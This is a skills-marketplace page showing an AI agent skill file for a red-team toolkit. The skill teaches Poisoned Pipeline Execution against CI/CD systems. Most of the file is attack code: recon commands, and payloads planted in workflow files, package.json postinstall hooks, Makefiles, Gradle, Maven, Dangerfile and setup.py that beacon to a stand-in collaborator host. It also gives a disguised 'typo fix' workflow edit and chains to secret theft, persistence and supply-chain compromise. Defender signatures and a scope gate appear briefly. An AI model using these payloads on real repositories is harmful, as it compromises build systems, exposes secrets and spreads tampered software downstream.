Skip to main content

poisoned-pipeline-execution

Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.

インストールへ移動

ソース情報

リポジトリ
BitterSecurity/Decepticon
ソースの最終更新活動
2026年6月1日 23:04
検出された SKILL.md の言語
英語
スター
5,565
フォーク
1,053

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
poisoned-pipeline-execution
description
Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script","tags":"ci-cd, ppe, pipeline, execution","mitre_attack":"T1195.002, T1199, T1059"}
# Poisoned Pipeline Execution (PPE) PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy): - **Direct PPE (D-PPE)**: attacker edits the *pipeline config itself* (`.github/workflows/*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`) in a PR/branch the CI runs. - **Indirect PPE (I-PPE)**: attacker edits a file the *pipeline calls* — build scripts (`Makefile`, `build.gradle`, `pom.xml`), package-manager scripts (`package.json` `scripts`, `setup.py`), lint/test hooks (`Dangerfile`, `.pre-commit-config.yaml`, `tox.ini`, `pyproject.toml` `[tool.poetry.scripts]`), or any file `make test` ends up sourcing. ## Recon — does the target build untrusted code? ```bash # 1. Workflow triggers that build PRs grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null # 2. Does CI install + run scripts before any review gate? grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null # 3. Are forks allowed? (default: yes on public repos) gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}' # 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting) gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null # Default for public repos: first-time contributors require approval; returning contributors don't. ``` ## Direct PPE — edit the workflow itself ```yaml # Attacker branch: feature/innocent-typo-fix # .github/workflows/ci.yml — add a step that exfils env name: CI on: [push, pull_request] jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: "fix: tweak test runner" # blends in run: | # Beacon-only PoC — DO NOT exfil real secrets in research curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \ -d "ref=$GITHUB_REF" ``` D-PPE works when the workflow runs on `pull_request` from forks **without** the "require approval" gate, or when the attacker has push access to a branch CI builds. ## Indirect PPE — edit a file the pipeline calls ### package.json scripts ```jsonc // PR diff — adds a postinstall that fires when CI runs `npm ci` { "scripts": { "test": "jest", "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\"" } } ``` `npm ci` / `npm install` will execute `postinstall` by default. Same trick works with `preinstall`, `prepare`, `prepublish`. Yarn / pnpm honor the same hooks. ### Makefile / `make test` ```make # PR adds an indented line under the existing `test:` target test: pytest -q @curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true ``` ### Gradle / Maven ```groovy // build.gradle — runs at evaluation, before any task allprojects { doFirst { "curl -s https://<COLLAB>/gradle".execute() } } ``` ```xml <!-- pom.xml — exec-maven-plugin attached to validate phase --> <plugin> <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId> <executions><execution><phase>validate</phase> <goals><goal>exec</goal></goals> <configuration><executable>curl</executable> <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments> </configuration> </execution></executions> </plugin> ``` ### Danger / pre-commit / lint hooks ```ruby # Dangerfile — runs on every PR in many JS/iOS pipelines `curl -s https://<COLLAB>/danger` ``` ```yaml # .pre-commit-config.yaml — points to attacker-controlled repo repos: - repo: https://github.com/<ATTACKER>/innocent-lint rev: main hooks: [{ id: lint }] ``` ### setup.py / pyproject.toml ```python # setup.py — runs at `pip install .` time from setuptools import setup import os; os.system("curl -s https://<COLLAB>/setuppy") setup(name="x", version="0.0.0") ``` ### Test fixtures `conftest.py`, `jest.setup.js`, `karma.conf.js`, `cypress/support/index.js`, `phpunit.xml` bootstrap files — all execute before the first test runs. ## `pull_request_target` — the dangerous trigger `pull_request_target` runs in the **base** repo context with secrets and a write `GITHUB_TOKEN`, but if the workflow then checks out the **PR head**, the attacker's code runs privileged: ```yaml # VULNERABLE — DO NOT WRITE THIS on: pull_request_target jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: { ref: ${{ github.event.pull_request.head.sha }} } # <-- attacker code - run: npm ci && npm test # <-- runs attacker code with secrets in env ``` A fork PR adding an `postinstall` to `package.json` now runs with `secrets.*` available. ## Chains | Chain | Pivot | |---|---| | I-PPE in a build script -> `printenv` -> CI secret -> deploy creds | See `cicd-secrets-exfil/SKILL.md` | | D-PPE on protected branch via stale review approval | Push to PR after approval (use `dismiss_stale_reviews`-misconfigured repos) | | I-PPE on self-hosted runner | Persistence via cron / systemd; see `self-hosted-runner-abuse/SKILL.md` | | I-PPE -> push tag / publish package via `GITHUB_TOKEN` | Downstream supply-chain compromise | ## Tools | Tool | Use | |---|---| | `gato` / `gato-x` | Scans orgs for PPE-prone workflows, automates fork-PR PoC | | `actionlint` | Reverse-use: flags `pull_request_target` + PR-head checkout | | `octoscan`, `zizmor` | Static workflow analyzers | | `tj-actions/changed-files` CVE-2025-30066 | Real-world I-PPE-via-action precedent | ## Detection signatures (defender view) | Signal | Where | |---|---| | Edit to `.github/workflows/*` in a fork PR | GitHub UI flags "workflow file change" on first run; defenders watch for it | | New `postinstall` / `preinstall` / `prepare` in `package.json` diff | `git log -p package.json` | | New outbound network from CI runner during build | egress filtering on runner subnet | | `pull_request_target` + checkout of `head.sha` | static lint (`zizmor`, `octoscan`) | ## Decision gate 1. Confirm written scope covers CI/CD testing. 2. PoC payload = single DNS / HTTPS beacon, no real secret exfil. 3. Open the PR from a clearly-labeled `security-research-*` fork; close + delete after capture. 4. Never push to protected branches, never publish artifacts, never tag releases. ## References - "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE) - Palawan / Cider PPE taxonomy - `tj-actions/changed-files` incident (Mar 2025) — supply-chain via reused action
GitHubで見る